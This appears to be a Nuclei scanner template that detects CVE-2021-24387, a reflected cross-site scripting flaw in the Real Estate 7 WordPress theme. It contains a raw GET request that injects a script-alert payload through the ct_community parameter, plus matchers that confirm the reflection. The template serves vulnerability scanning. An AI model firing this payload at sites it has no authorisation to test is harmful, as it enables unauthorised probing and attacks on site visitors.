id: CVE-2021-24387

info:
  name: Real Estate 7 WordPress Theme < 3.1.1 - Unauthenticated Reflected XSS
  author: suman_kar
  severity: medium
  description: |
    The WP Pro Real Estate 7 WordPress theme before 3.1.1 did not properly sanitise the ct_community parameter
    in its search listing page before outputting it back in it, leading to a reflected Cross-Site Scripting which
    can be triggered in both unauthenticated or authenticated user context
  reference:
    - https://cxsecurity.com/issue/WLB-2021070041
    - https://wpscan.com/vulnerability/27264f30-71d5-4d2b-8f36-4009a2be6745
    - https://contempothemes.com/wp-real-estate-7/changelog/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24387
    cwe-id: CWE-79
  tags: cve,cve2021,xss,wordpress

requests:
  - raw:
      - |
        GET /?ct_mobile_keyword&ct_keyword&ct_city&ct_zipcode&search-listings=true&ct_price_from&ct_price_to&ct_beds_plus&ct_baths_plus&ct_sqft_from&ct_sqft_to&ct_lotsize_from&ct_lotsize_to&ct_year_from&ct_year_to&ct_community=%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&ct_mls&ct_brokerage=0&lat&lng HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<script>alert(document.domain);</script>'
          - '/wp-content/themes/realestate'
        part: body
        condition: and

      - type: status
        status:
          - 200